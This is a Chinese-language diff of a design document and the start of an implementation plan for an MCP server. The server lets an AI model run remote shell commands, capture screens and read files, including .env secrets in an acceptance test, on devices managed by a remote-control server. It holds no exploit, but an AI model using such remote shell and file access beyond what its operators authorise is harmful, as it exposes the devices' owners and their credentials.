- 真正的失败模式是**老客户端不认识 94 号命令**:它收到 `CMD_DOWN_FILES_V2` 后
|
||||
不建子连接、不回任何包,表现为 `-32001` 超时。工具描述里要写明这条,
|
||||
避免模型反复重试。
|
||||
|
||||
---
|
||||
|
||||
## 6. 终端会话
|
||||
|
||||
### 6.1 会话对象
|
||||
|
||||
```go
|
||||
type termSession struct {
|
||||
id string // "s-" + 6 位 hex
|
||||
deviceID string
|
||||
isPTY bool
|
||||
createdAt time.Time
|
||||
lastUsed time.Time
|
||||
|
||||
mu sync.Mutex
|
||||
buf []byte // 环形,cap 256 KiB
|
||||
base uint64 // buf[0] 的绝对偏移
|
||||
total uint64 // 累计写入字节
|
||||
delivered uint64 // 已交付给客户端的绝对偏移
|
||||
|
||||
pending *pendingCmd // 在途命令;nil = 空闲
|
||||
}
|
||||
|
||||
type pendingCmd struct {
|
||||
sentinel string
|
||||
deadline time.Time
|
||||
done bool
|
||||
exitCode int
|
||||
raw []byte // 从 sentinel 之前回切出的原始片段
|
||||
}
|
||||
```
|
||||
|
||||
### 6.2 租约与争用
|
||||
|
||||
- `hub.OpenTerminalSession` 本身就是互斥(`ErrTerminalBusy`),MCP 直接复用它。
|
||||
- 撞上 `ErrTerminalBusy` → `-32003`,message 写
|
||||
`terminal busy: another viewer (web console or another MCP call) holds it; retry later`。
|
||||
- **v1 不做抢占**。理由:抢占会把正在敲命令的人踢下线,而模型无法判断"人是不是在忙"。
|
||||
需要抢占时由运维在 Web 控制台关掉那个终端。
|
||||
- 空闲释放:`lastUsed` 超过 `YAMA_MCP_TERM_IDLE`(默认 180 s)由后台 ticker 调
|
||||
`CloseTerminalSession`。这是防止模型忘了 `terminal_close` 把人的终端锁死。
|
||||
|
||||
### 6.3 环形缓冲与游标
|
||||
|
||||
- 容量 256 KiB,超出丢弃最旧数据,`base` 前移,丢弃量记 `droppedBytes` 并在
|
||||
返回体里体现(`truncated=true`)。
|
||||
- 绝对偏移 `total` 单调递增,`offset` 参数与返回里的 `offset` 都用绝对偏移。
|
||||
- 缓冲随会话存在:会话关闭(`terminal_close` / 空闲回收 / 设备掉线)时整体释放。
|
||||
|
||||
### 6.4 哨兵与退出码
|
||||
|
||||
沿用 MFC 的两种形态(`McpServer.cpp:3991-3998`),**必须分两行下发**:
|
||||
|
||||
| 客户端 | 下发 | 哨兵 |
|
||||
|---|---|---|
|
||||
| POSIX PTY(Linux/Android) | `cmd\n` + `echo "__MCP_DONE_<id>__$?"\n` | `__MCP_DONE_<id>__<n>` |
|
||||
| ConPTY(新 Windows) | `cmd\r\n` + `echo __MCP_DONE_<id>__%errorlevel%\r\n` | 同上 |
|
||||
|
||||
为什么要分两行:`rem` / `cmd` / `exit` / `if` / `for` 这类"吞行"命令会把同一行后面的
|
||||
内容一起吞掉(MFC 的 P1 教训)。分两行后哨兵独立执行,退出码才可信。
|
||||
|
||||
`<id>` 用 6 位随机 hex,每次命令重新生成——避免上一条命令的输出里残留同名哨兵被误命中。
|
||||
|
||||
### 6.5 输出清洗
|
||||
|
||||
三段清洗,顺序不能变(MFC `McpServer.cpp:3946-4040`):
|
||||
|
||||
1. **剥回显**:PTY 会把输入整行回显。删掉命令行本身与哨兵行。
|
||||
2. **剥 ANSI**:`\x1b[...m`、`\x1b[?25h/l` 等 CSI/OSC 序列。
|
||||
3. **剥哨兵**:把哨兵文本及其后的退出码切掉,`exit_code` 单独解析。
|
||||
|
||||
ConPTY 是"屏幕渲染流"而不是字节流,光标重绘会让同一行出现两次,剥完 VT 后
|
||||
文字会重复(MFC 实测 `rem hello` 只剩哨兵、`cmd /c echo abc` 变成
|
||||
`abc__MCP_DONE_x__0`)。**这三段必须整体移植,不能自己重写**——这是踩过坑的代码。
|
||||
|
||||
### 6.6 轮询模式
|
||||
|
||||
`terminal_exec` 不带 `command`、只带 `session_id` 时进入轮询:从 `delivered` 开始
|
||||
取增量,等到 `done` 或超时。
|
||||
|
||||
- 超时**不销毁会话**(MFC 优化的核心结论):命令可能还在跑,销毁等于毁掉现场
|
||||
(cwd、环境变量、后台任务)。MFC 在优化前两次 `-32002` 都是这么来的。
|
||||
- HTTP 请求被客户端断开(`r.Context()` done)时同样只标记放弃,不动会话。
|
||||
- 会话内已有在途命令时,再带 `command` 调用 → `-32003`(同一会话单命令)。
|
||||
|
||||
### 6.7 平台范围
|
||||
|
||||
**v1 只支持 PTY 客户端**(ConPTY / POSIX PTY)。老的非 PTY cmd-pipe 路径
|
||||
(`TOKEN_SHELL_START(128)`)在 `OnTerminalReady` 里能识别(`isPTY=false`),
|
||||
此时 `terminal_exec` 直接返回 `-32005` 并在 message 里说明"该客户端版本不支持"。
|
||||
|
||||
理由:非 PTY 路径的回显跳过依赖"按写入长度跳过",且单行哨兵会被吞行命令吃掉,
|
||||
Go 侧没有实测数据支撑,先不开放比做错好。
|
||||
|
||||
若客户端根本不支持 shell(`COMMAND_SHELL` 发出后迟迟没有子连接),
|
||||
`OpenTerminalSession` 会一直停在 pending,表现为 `-32001` 超时。这里**不设能力门**——
|
||||
`CLIENT_CAP_TERMINAL` 只有新版 Android 声明,Windows/Linux 一直支持却不声明
|
||||
(`common/commands.h:151` 的注释),拿它做门会误拒所有桌面客户端。message 里加一句
|
||||
"若反复超时,可能该客户端版本不支持远程 shell"。
|
||||
|
||||
---
|
||||
|
||||
## 7. `get_screenshot`
|
||||
|
||||
### 7.1 为什么不用屏幕流
|
||||
|
||||
屏幕流是 H.264:`TOKEN_FIRSTSCREEN(116)` 是裸 BGRA 首帧,之后全是
|
||||
`TOKEN_NEXTSCREEN(117)` / `TOKEN_KEYFRAME(134)` 的编码帧。**不采用首帧方案**,原因不是
|
||||
解码(首帧本来就是裸的),而是**代价**:拿首帧必须先发 `COMMAND_SCREEN_SPY` 建立屏幕
|
||||
子连接、等客户端绑定、等首帧到达,用完还要拆——它占着每设备唯一的屏幕会话槽位,
|
||||
和正在看画面的人直接冲突,而且拆不干净就会一直推流。
|
||||
|
||||
`COMMAND_SCREEN_PREVIEW_REQ(247)` 是**主连接 RPC**:客户端自己抓屏、自己缩放、
|
||||
自己编码 JPEG 回包(`TOKEN_SCREEN_PREVIEW_RSP(248)`),不建子连接、不占槽位、
|
||||
一次请求一次响应。这是 MFC `get_screenshot` 的既有实现
|
||||
(`McpServer.cpp:2199`、`2015RemoteDlg.cpp:10449`),Go 照做即可。
|
||||
|
||||
### 7.2 请求 / 响应
|
||||
|
||||
```c
|
||||
struct ScreenPreviewReq { // 8 字节
|
||||
uint8_t cmd; // 247
|
||||
uint16_t reqId;
|
||||
uint16_t maxWidth;
|
||||
uint8_t jpegQuality; // 1..100
|
||||
uint16_t reserved;
|
||||
};
|
||||
|
||||
struct ScreenPreviewRspHeader { // 16 字节
|
||||
uint8_t token; // 248
|
||||
uint16_t reqId;
|
||||
uint8_t status; // 0=OK 1=抓屏失败 2=编码失败 3=不支持 4=目标无效
|
||||
uint8_t format; // 0=JPEG 3=BGRX
|
||||
uint16_t width, height;
|
||||
uint32_t bytes;
|
||||
uint8_t reserved[3];
|
||||
// 后接 data[bytes],可选再跟 ScreenCaptureMeta
|
||||
};
|
||||
```
|
||||
|
||||
v1 只发 8 字节基础请求(等价于整虚拟桌面),**不发 v2 扩展**——`region/window/monitor`
|
||||
需要 `CLIENT_CAP_SCREEN_REGION`,属后续增强。
|
||||
|
||||
参数映射:`max_width` 钳制到 `[64, 1920]`,缺省/0 时 Go v1 固定 1024;`jpegQuality` 固定 80。
|
||||
|
||||
### 7.3 BGRX → JPEG
|
||||
|
||||
Linux 客户端没有 JPEG 编码库,回 `format=3`(BGRX,自上而下逐行、每像素 4 字节
|
||||
`B,G,R,X`,无行填充,`bytes == width*height*4`)。Go 用标准库转:
|
||||
|
||||
```go
|
||||
img := image.NewRGBA(image.Rect(0, 0, w, h))
|
||||
for i := 0; i < w*h; i++ {
|
||||
img.Pix[i*4+0] = src[i*4+2] // R ← B
|
||||
img.Pix[i*4+1] = src[i*4+1] // G
|
||||
img.Pix[i*4+2] = src[i*4+0] // B ← R
|
||||
img.Pix[i*4+3] = 0xFF
|
||||
}
|
||||
jpeg.Encode(&buf, img, &jpeg.Options{Quality: 80})
|
||||
```
|
||||
|
||||
`bytes != w*h*4` 时按畸形包丢弃(返回 `-32000`)。
|
||||
|
||||
### 7.4 能力门与超时
|
||||
|
||||
- 缺 `CLIENT_CAP_SCREEN_PREVIEW(0x0004)` → `-32005`。
|
||||
MFC 同款门(描述里写明"老客户端返回 -32005")。
|
||||
- 超时 8 s。**不做取消**:MFC 明确写了"屏幕预览 = 主连接 RPC,不能 CancelIO"
|
||||
(`2015RemoteDlg.cpp:7514`)。超时后把请求表项删掉,迟到的响应按 `reqId` 不匹配丢弃。
|
||||
- 响应 `status != 0` 时按码翻译:1/2 → `-32000`(带 status 文案),3 → `-32005`,
|
||||
4 → `-32602`。
|
||||
|
||||
---
|
||||
|
||||
## 8. 文件工具
|
||||
|
||||
### 8.1 `list_files`
|
||||
|
||||
见 §5.3。解析细节:
|
||||
|
||||
- `TOKEN_DRIVE_LIST`:`[token][letter:1][type:1][totalMB:4][freeMB:4][typeName\0][fileSystem\0]` 循环,
|
||||
`letter=='\0'` 终止。
|
||||
- `TOKEN_FILE_LIST`:`[token]([attr:1][name\0][sizeHigh:4][sizeLow:4][ftLow:4][ftHigh:4])*`,
|
||||
空名终止(尾部零填充)。`attr & 0x10` 为目录。
|
||||
- `TOKEN_FILE_LIST_ERROR`:`[token][win32err:4 LE]`,按 §4.3 映射。这是**新客户端**才有的
|
||||
失败回执;老客户端路径不存在时直接不回包,表现为 `-32001` 超时(message 里要提示
|
||||
"路径可能不存在,先用 list_files 确认")。
|
||||
|
||||
`total` 与本次返回条数分开:客户端一次返回全部,服务端做 `limit`/`offset` 窗口裁剪并在
|
||||
`structuredContent` 里如实给出 `total`/`totalAll`/`hasMore`(与 MFC 的分页语义一致)。
|
||||
|
||||
### 8.2 `read_file`
|
||||
|
||||
见 §5.4。落盘完成后:
|
||||
|
||||
1. 校验 SHA-256(`COMMAND_FILE_COMPLETE_V2` 里带的 32 字节)。
|
||||
2. 按 `encoding` 解码全文(`auto`:BOM → 严格 UTF-8 → GBK 回退;`gb18030`/`latin1` 显式指定)。
|
||||
3. 按行切分,按 `offset`(0 基,负数=末尾 N 行)/`limit`/`max_bytes` 取窗口;`max_bytes`
|
||||
按行边界截断,避免切坏 UTF-8/GBK 多字节字符。
|
||||
4. 返回 `text` + `size` + `encoding` + `eol` + `lines_total` + `offset` + `lines_returned` +
|
||||
`truncated` + `sha256`。
|
||||
5. `defer os.RemoveAll(tmpDir)`。
|
||||
|
||||
**大小门**:`CMD_DOWN_FILES_V2` **没有区间参数,只能整文件下载**,所以大小门必须卡在
|
||||
下载前——在首个 `COMMAND_SEND_FILE_V2` chunk 里读 `fileSize`,超过
|
||||
`YAMA_MCP_READ_MAX`(默认 2 MiB,与 MFC 的 `kReadFileSizeGate` 一致)立即中止传输、
|
||||
删临时目录、返回 `-32602`,message 说明"文件超过 2 MiB,本工具不支持"。不要先落盘
|
||||
200 MB 再报错。
|
||||
|
||||
`offset` / `limit` 是**下载完成之后**对返回窗口的裁剪(`limit` 默认 256 KiB、
|
||||
上限 4 MiB),不能用来绕过大小门——大文件在 Go 侧目前无解,这是协议限制,
|
||||
工具描述里要写明。
|
||||
|
||||
### 8.3 路径校验(安全,必读)
|
||||
|
||||
V2 的 `filename` 由客户端提供。必须:
|
||||
|
||||
```go
|
||||
clean := filepath.Clean(filepath.Join(targetDir, filepath.FromSlash(name)))
|
||||
rel, err := filepath.Rel(targetDir, clean)
|
||||
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
|
||||
abortTransfer() // 拒收并中止
|
||||
}
|
||||
```
|
||||
|
||||
`filepath.HasPrefix` 字符串前缀比较不够——`/tmp/ab` 会匹配 `/tmp/abc`。用 `filepath.Rel` 判越界。
|
||||
|
||||
同理 `list_files` 的 `path` 与 `read_file` 的 `path` 不做本地校验(它们在远端),
|
||||
但**不允许包含 NUL 与换行**——那会截断/拆开 C 字符串协议字段。
|
||||
|
||||
---
|
||||
|
||||
## 9. 并发、配额、生命周期
|
||||
|
||||
| 项 | 规则 |
|
||||
|---|---|
|
||||
| 每设备单请求 | `map[deviceID]*sync.Mutex` 的 `TryLock`;占用返回 `-32003`,message 带占用工具名与已持续时长 |
|
||||
| 全局并发 | `YAMA_MCP_MAX_CONCURRENCY`(默认 16)信号量;超出直接 `-32003` |
|
||||
| 单次请求上限 | `terminal_exec` 120 s,`read_file` 120 s,`get_screenshot` 8 s,其余 10 s |
|
||||
| 设备锁释放 | `defer` 释放;HTTP ctx 取消也走同一条 defer |
|
||||
| 终端空闲回收 | ticker 30 s 扫一次,`lastUsed` 超 180 s 关闭 |
|
||||
| 进程退出 | `mcp.Server.Close()` 关闭所有终端会话(避免留下孤儿 shell 子连接) |
|
||||
|
||||
设备锁的粒度是"整台设备"而不是"每通道",与 MFC 一致(`-32003` 说明里写明
|
||||
"列表、截屏、文件、管理动作共用这一道锁")。理由是主连接 RPC 与子连接命令
|
||||
在客户端侧可能共用同一份状态,并发只会让现场更难读。
|
||||
|
||||
---
|
||||
|
||||
## 10. 代码结构与依赖方向
|
||||
|
||||
```
|
||||
server/go/mcp/
|
||||
server.go # /mcp handler、JSON-RPC 分发、鉴权、tools/list
|
||||
tools.go # //go:embed tools_minimal.json;只读过滤、工具表
|
||||
tools_minimal.json # gen_go_tools.py 从 mcp/tools.json 抽取的 9 个工具(勿手改)
|
||||
tools_local.go # list_hosts / get_host_detail / get_server_status / get_audit_log
|
||||
tools_term.go # terminal_exec / terminal_close
|
||||
errors.go # 错误码 + JSON-RPC 错误映射
|
||||
audit.go # mcp.tool.call 审计
|
||||
lock.go # 设备锁 + 全局信号量
|
||||
session.go # 终端会话表、空闲回收
|
||||
term.go # 哨兵、环形缓冲
|
||||
clean.go # 终端输出清洗(逐字节移植 MFC 的 CleanTerminalOutput)
|
||||
screen.go # 主连接预览 RPC
|
||||
filemgr.go # 文件管理器子连接(list_files)
|
||||
filev2.go # V2 流式接收端(read_file)
|
||||
```
|
||||
|
||||
依赖方向(无环):
|
||||
|
||||
```
|
||||
cmd/main.go ──▶ web ──▶ mcp ──▶ hub ──▶ connection / protocol
|
||||
│ └──▶ devicehistory
|
||||
└──▶ wsauth
|
||||
```
|
||||
|
||||
- `mcp` 只 import `hub` / `protocol` / `devicehistory` / `logger`,**不 import `web`**。
|
||||
- **构造顺序**:`mcp.Server` 在 `cmd/main.go` 里先建,再分别注入两侧——
|
||||
`web.New(...).WithMCP(mcpSrv)`(沿用 `WithDeviceHistory` / `WithConfig` 的链式风格,
|
||||
`web/server.go:94`),以及 `MyHandler.mcp = mcpSrv`(TCP 分派侧)。
|
||||
这样 `web` 和 `cmd` 都只依赖 `mcp`,不存在 `mcp → web` 的反向依赖。
|
||||
- TCP 侧的分派(`cmd/main.go` 的 `OnReceive`)按到达的连接分成三组,未命中在途请求就丢弃:
|
||||
- `mcp.Server.OnPacket`:`TokenScreenPreviewRsp(248)`(主连接上的截图 RPC 回包)
|
||||
- `mcp.Server.OnFilePacket`:`TokenDriveList(103)` / `TokenFileList(104)` /
|
||||
`TokenFileListError(171)`(文件管理器子连接)
|
||||
- `mcp.Server.OnTransferPacket`:`CommandSendFileV2(85)` / `CommandFileCompleteV2(91)`
|
||||
(独立数据子连接或 POSIX 的文件管理器子连接)与 `TokenDownloadError(173)`
|
||||
|
||||
**为什么 embed 一份生成的 `tools_minimal.json`、而不是手写或直接引用 `mcp/tools.json`**:
|
||||
`mcp/tools.json` 在仓库根,`//go:embed` 不能引用父目录;手写 9 个 schema 又无法证明
|
||||
与 MFC 的 JSON 一致。所以由 `tools/mcp_tools/gen_go_tools.py` 从 `mcp/tools.json` 原样
|
||||
抽取(保持顺序,只留 name/description/inputSchema/outputSchema)生成 go 包内的副本并
|
||||
嵌入二进制——改工具定义必须改 `mcp/tools.json` 再重新生成,不存在两份手写文字漂移的余地。
|
||||
两道防漂移检查:`gen_go_tools.py --check`(生成副本是否为最新)与
|
||||
`verify_tools.py --subset`(线上 `tools/list` 是否与 `mcp/tools.json` 同名工具逐字段
|
||||
一致、名字集合是否恰好 9 个/只读 7 个)。
|
||||
|
||||
---
|
||||
|
||||
## 11. 施工顺序与验收
|
||||
|
||||
| 序 | 内容 | 依赖 | 可独立验收 |
|
||||
|---:|---|---|---|
|
||||
| 1 | `mcp` 包骨架 + `/mcp` + 鉴权 + `initialize`/`ping`/`tools/list` | — | ✅ `curl` 打通 |
|
||||
| 2 | 4 个本机只读工具(`list_hosts`/`get_host_detail`/`get_server_status`/`get_audit_log`) | 1 | ✅ 不碰设备即可测 |
|
||||
| 3 | 设备锁 + 全局信号量 + 审计 | 1 | ✅ |
|
||||
| 4 | 终端会话表 + 订阅 + 环形缓冲 | 3 | ✅ 浏览器开终端时能观察到缓冲 |
|
||||
| 5 | 哨兵 + 输出清洗 + `terminal_exec` 执行/轮询 | 4 | ✅ 对照 MFC 同款命令的输出现象 |
|
||||
| 6 | `terminal_close` + 空闲回收 | 5 | ✅ |
|
||||
| 7 | 主连接 RPC 请求表 + `get_screenshot` | 3 | ✅ |
|
||||
| 8 | 文件管理器子连接 + `list_files` | 3 | ✅ |
|
||||
| 9 | V2 接收端 + `read_file` + 路径校验 | 8 | ✅ |
|
||||
| 10 | `verify_tools.py --subset` | 1 | ✅ |
|
||||
|
||||
**整体验收**(用同一套 ASM 工位任务重跑):
|
||||
|
||||
- 9 个工具全部可调用,`tools/list` 响应 < 24 KB(无 outputSchema 的直接收益)
|
||||
- `terminal_exec` 连续 20 条命令零失败;超时后轮询能取回完整输出
|
||||
- 浏览器开着终端时 `terminal_exec` 返回 `-32003` 而不是把人的会话踢掉
|
||||
- `read_file` 读 `.env`(含单引号、CRLF)字节级一致,SHA-256 与远端 `sha256sum` 相同
|
||||
- `get_screenshot` 在 Windows / Linux 各出一张图,Linux 走 BGRX→JPEG 分支
|
||||
- 审计里每次调用一条 `mcp.tool.call`,`device`/`tool`/`code`/`ms` 齐全
|
||||
|
||||
---
|
||||
|
||||
## 12. 风险与未决
|
||||
|
||||
| # | 风险 | 影响 | 处置 |
|
||||
|---:|---|---|---|
|
||||
| R1 | 哨兵清洗移植不完整 | 输出带垃圾/退出码错 | 按 MFC 三段顺序整体移植,用 MFC 记录的实测样例做 Go 单测(`rem hello`、`cmd /c echo abc`、`type .env`) |
|
||||
| R2 | 终端槽位被 MCP 长期占用 | 人用不了终端 | 空闲 180 s 回收 + `-32003` 明确告知 + 工具描述写明 |
|
||||
| R3 | 老客户端不认识 `CMD_DOWN_FILES_V2(94)` | `read_file` 静默超时 | 工具描述写明"超时可能是不支持 V2 的旧客户端";§5.4 |
|
||||
| R4 | 老客户端缺 `CLIENT_CAP_UTF8` | 文件名 GBK 解码 | 新客户端 `DefaultCaps()` 恒带此位(`commands.h:1289`),只有很老的客户端会缺;与既有 `activeWindow` 路径同源,后续在 `hub.DeviceInfo` 暴露 `clientType` 后一并修 |
|
||||
| R5 | 非 PTY 老客户端 | 无法用 `terminal_exec` | v1 明确 `-32005`,描述里说明 |
|
||||
| R6 | 多用户 / 分组授权缺失 | 所有 MCP 调用都是 admin | v1 明确单 principal;多租户部署前必须补 token 表 + `allowedGroups` 校验 |
|
||||
| R7 | 无 `notifications/progress` | 长任务(`read_file` 大文件)模型以为卡死 | 工具描述写明预期耗时;v2 再上 SSE |
|
||||
| R8 | `read_file` 只能整文件下载,2 MiB 封顶 | 读大日志无解 | 与 MFC 同款限制(`kReadFileSizeGate`)。绕法是 `terminal_exec` + `tail`,工具描述里给出这个替代路径 |
|
||||
|
||||
---
|
||||
|
||||
## 附录 A:协议速查
|
||||
|
||||
| 名称 | 值 | 方向 | 载荷 |
|
||||
|---|---:|---|---|
|
||||
| `COMMAND_LIST_DRIVE` | 1 | S→C 主连接 | `[cmd]` |
|
||||
| `COMMAND_LIST_FILES` | 2 | S→C 文件子连接 | `[cmd][path\0]` |
|
||||
| `COMMAND_SCREEN_SPY` | 16 | S→C 主连接 | `[cmd]` |
|
||||
| `COMMAND_BYE` | 204 | S→C 任意 | `[cmd]` |
|
||||
| `COMMAND_SCREEN_PREVIEW_REQ` | 247 | S→C 主连接 | `ScreenPreviewReq`(8B) |
|
||||
| `COMMAND_SEND_FILE_V2` | 85 | C→S V2 子连接 | `FileChunkPacketV2`(77B)+ name + data |
|
||||
| `COMMAND_FILE_COMPLETE_V2` | 91 | C→S V2 子连接 | `FileCompletePacketV2`(69B) |
|
||||
| `CMD_DOWN_FILES_V2` | 94 | S→C 文件子连接 | `[cmd][targetDir\0][path\0][\0]` |
|
||||
| `TOKEN_DRIVE_LIST` | 103 | C→S 文件子连接 | `[token]` + 盘符记录 |
|
||||
| `TOKEN_FILE_LIST` | 104 | C→S 文件子连接 | `[token]` + 文件记录 |
|
||||
| `TOKEN_FILE_LIST_ERROR` | 171 | C→S 文件子连接 | `[token][win32err:4 LE]` |
|
||||
| `TOKEN_CONN_AUTH` | 246 | C→S 子连接 | `ConnAuthPacket`(512B) |
|
||||
| `TOKEN_SCREEN_PREVIEW_RSP` | 248 | C→S 主连接 | `ScreenPreviewRspHeader`(16B)+ data |
|
||||
|
||||
`FileChunkPacketV2` 字段:`cmd(1) transferID(8) srcClientID(8) dstClientID(8)
|
||||
fileIndex(4) totalFiles(4) fileSize(8) offset(8) dataLength(8) nameLength(8)
|
||||
flags(2) checksum(2) reserved(8)` = 77 字节。
|
||||
|
||||
---
|
||||
|
||||
## 附录 B:自审记录
|
||||
|
||||
写完初稿后按"每个结论都必须能在代码里指到行"重核了一遍,发现并修掉以下问题:
|
||||
|
||||
| # | 问题 | 处置 |
|
||||
|---:|---|---|
|
||||
| 1 | 初稿写"文件管理器子连接不带 ConnAuth,需要 pending 标记",照搬了 MFC 的做法 | **错**。`client/KernelManager.cpp:1773` 对 `COMMAND_LIST_DRIVE` 调了 `EnableSubConnAuth()`,Go 的 `handleConnAuth` 已把 clientID 钉在 ctx 上。改为按 clientID 路由,删掉 pending 方案,省掉一个 hub 改动 |
|
||||
| 2 | 初稿把 `get_screenshot` 设计成"抓 `TOKEN_FIRSTSCREEN` 原始帧" | **改**。`TOKEN_FIRSTSCREEN` 虽注释为 raw BGRA,但它依附于屏幕会话(占槽位、要建子连接)。改用 `COMMAND_SCREEN_PREVIEW_REQ` 主连接 RPC——与 MFC 一致,不占任何槽位 |
|
||||
| 3 | 初稿写"终端槽位需要给 hub 加 owner 字段" | **简化**。`hub.OpenTerminalSession` 的 `ErrTerminalBusy` 本身就是互斥,v1 不抢占就不需要 owner。删掉 hub 改动,v1 对 `hub` **零改动** |
|
||||
| 4 | 初稿写 `read_file` 用 `filepath.HasPrefix` 校验路径 | **错**。字符串前缀会让 `/tmp/ab` 匹配 `/tmp/abc`。改为 `filepath.Rel` 判越界 |
|
||||
| 5 | 初稿漏了非 PTY 客户端的处理 | **补** §6.7:v1 明确 `-32005`,不做半吊子支持 |
|
||||
| 6 | 初稿写"审计记录完整 command" | **改**。命令全文可能含密码,改为只记首词与长度,全文进 debug 日志 |
|
||||
| 7 | 初稿的 `list_files` 没写 `total` 与 `returned` 的区别 | **补** §8.1,避免模型把截断当成"目录里只有这么多" |
|
||||
| 8 | 初稿写"`terminal_exec` 的 reqId 用时间戳" | **改**。时间戳在并发下会撞;改 `atomic.Uint32` 取低 16 位,并**必须**校验响应 reqId(MFC `TakePreviewResponse` 同款) |
|
||||
| 9 | 初稿把 `get_screenshot` 的 `max_width` 固定 1600 | **改** 为可传,钳制 `[320,3840]`,与 MFC 的 `max_width` 参数对齐 |
|
||||
| 10 | 初稿没写"客户端 V2 开关关闭会静默超时" | **改**。核查后发现 V2 开关是**服务端**的(`2015RemoteDlg.cpp:2822` `EnableFileV2`,默认关),不是客户端。且 `CLIENT_CAP_V2` 在 `DefaultCaps()` 里全平台无条件声明,做门等于没门。改为"无能力门 + 老客户端不认识 94 号命令会静默超时",见 §5.4 |
|
||||
| 11 | 初稿把 `read_file` 的能力门写成 `CLIENT_CAP_V2` | **删**。同 #10,该位恒为真。表格与 §5.4 一并改 |
|
||||
| 12 | 初稿写 `/mcp` 用 `s.requireBearer` 包一层 | **错**。`requireBearer` 校验的是浏览器会话令牌(`web/server.go:269` 的 `s.auth.ValidateToken`),MCP 静态令牌过不去。改为 `mux.HandleFunc("/mcp", s.mcp.Handle)`,鉴权在 handler 内做 |
|
||||
| 13 | 初稿写"`mcp` 在 `web.Start()` 里构造" | **错**。TCP 侧 `cmd/main.go` 的 `OnReceive` 也要把包转给 `mcp`,两边需要同一实例。改为在 `cmd/main.go` 先建,再 `web.New(...).WithMCP(srv)` + `MyHandler.mcp = srv` |
|
||||
| 14 | 初稿写"非 PTY 客户端 `-32005`",但没说"根本不支持 shell 的客户端怎么办" | **补** §6.7:不设能力门(`CLIENT_CAP_TERMINAL` 只有 Android 声明),走 `-32001` 超时 + message 提示 |
|
||||
| 15 | §5.3 时序图自相矛盾:`TOKEN_DRIVE_LIST` 后写"关子连接",下一行又写"同一子连接"发 `COMMAND_LIST_FILES` | **改**。列目录必须复用同一个子连接(`2015RemoteDlg.cpp:7647` 的注释),改为"保持打开,`TOKEN_FILE_LIST` 分支收尾" |
|
||||
| 16 | §5.4 仍写 `filepath.HasPrefix` 校验路径,与 §8.3 自相矛盾 | **改**。统一指向 §8.3 的 `filepath.Rel` 判越界 |
|
||||
| 17 | §7.1 说"屏幕流全是 H.264",据此否掉首帧方案 | **错两处**:首帧 `TOKEN_FIRSTSCREEN` 本来就是裸 BGRA,不需要解码;否掉它的真正理由是**要建屏幕子连接、占唯一槽位、还要拆**。改为按代价论证 |
|
||||
| 18 | §8.2 建议大文件"直接用 `download_file`" | **错**。`download_file` 在 v1 不做(§1.2),不能建议一个不存在的工具。改为"卡在下载前的大小门 + 用 `terminal_exec` 兜底" |
|
||||
| 19 | §8.2 只说"`limit` 上限 4 MiB",没意识到 V2 是整文件下载 | **补**。`CMD_DOWN_FILES_V2` 无区间参数,大小门必须卡在首个 chunk 的 `fileSize` 上(2 MiB,与 MFC `kReadFileSizeGate` 一致),否则会先落盘再报错 |
|
||||
| 20 | §3.2 `get_server_status` 返回 `version`/`commit`,但 Go 侧没有这两个变量 | **补**。`cmd/main.go` 查不到版本常量,需新增 `var version, commit string` + Makefile `-X` 注入;拿不到返回空串 |
|
||||
| 21 | §3.2 `get_host_detail.capabilities` 里列了 `v2` | **删**。该位全平台恒真(同 #10),列出来误导模型。换成 `utf8`/`screen_preview`/`screen_region`/`window_info` |
|
||||
| 22 | §5.2 写死 `SendToTerminal(cmd+"\n")`,与 §6.4 的 ConPTY `\r\n` 冲突 | **改** 为按平台分行尾 |
|
||||
| 23 | §3.2 的输入/输出形状是自造结构,与 `mcp/tools.json` 不一致(`online_only`、`entries`、`since`、`bytes_read`、`output`、capabilities 下划线命名、`max_width` 1600/[320,3840]) | **改**。已确认 `mcp/tools.json` 是唯一契约,§3.2 按 `inputSchema`/`outputSchema` 重写:`list_files` 返回 `files`、`read_file` 为行语义、审计无 `since`、capabilities 用 camelCase、`max_width` 钳制 `[64,1920]` 默认 1024;M1 起 `tools/list` 原样回显该 schema |
|
||||
|
||||
**结论**:以上 23 处已全部修入正文,无遗留。v1 对 `server/go` 的改动是
|
||||
**新增 `mcp` 包 + `web/server.go` 一行路由 + `web.Server` 一个 `WithMCP` + `cmd/main.go` 六个 case + `protocol` 六个常量 + 两个版本变量**,
|
||||
`hub` 零改动。
|
||||
@@ -0,0 +1,546 @@
|
||||
# Go 服务端 MCP 实施计划
|
||||
|
||||
> 版本:v1(草稿,待评审) 日期:2026-11-12
|
||||
>
|
||||
> 依据:`docs/Mcp_Go_Minimal_Design.md` v1.0(下称"设计文档")。
|
||||
> 本文只回答**怎么施工**:顺序、改动面、完成定义、验证手段、提交边界。
|
||||
> 设计取舍一律以设计文档为准,本文不重复论证;与设计文档不一致的地方在 §1 单列。
|
||||
>
|
||||
> 工作方式:沿用本项目既有节奏——**做一段、验一段、审一段、提交一段**,每段一个可独立
|
||||
> 回滚的提交。Go 侧提交前缀用仓库既有约定 `Feature(Go):` / `Fix(Go):`。
|
||||
|
||||
---
|
||||
|
||||
## 0. 交付面与总量
|
||||
|
||||
| 类别 | 内容 | 规模 |
|
||||
|---|---|---:|
|
||||
| 新包 | `server/go/mcp/`(server / tools / errors / audit / lock / session / term / screen / filemgr / filev2) | ≈2,300 行(含测试 ≈900) |
|
||||
| 抽包 | `server/go/auditquery/`(从 `web/audit_query.go` 提出查询器,见 §1.1) | ≈180 行搬移 |
|
||||
| 接线 | `web/server.go`(`WithMCP` + 一行路由)、`cmd/main.go`(构造/注入/六个 case/版本变量)、`protocol/commands.go`(常量)、`build.ps1` + `Makefile`(`-X` 注入) | ≈120 行 |
|
||||
| 工具校验 | `tools/mcp_tools/verify_tools.py` 增 `--subset` | ≈80 行 |
|
||||
| 文档 | `deploy/yama-server.env.example` 补 5 个变量;`docs/Mcp_Go_Minimal_Design.md` 状态改"已实施" | — |
|
||||
|
||||
**8 个提交,8 个里程碑,预估 62 小时**(明细见 §3 / §7)。`hub` 零改动——这是设计文档
|
||||
自审后的结论,本计划沿用;若施工中发现必须改 `hub`,先停下来改设计文档。
|
||||
|
||||
---
|
||||
|
||||
## 1. 开工前必须先定的 5 件事
|
||||
|
||||
这 5 项都会阻塞某个里程碑,且都需要一次性拍板。建议按顺序在本计划评审时定掉。
|
||||
|
||||
### 1.1 `get_audit_log` 的代码复用方式(阻塞 M2)
|
||||
|
||||
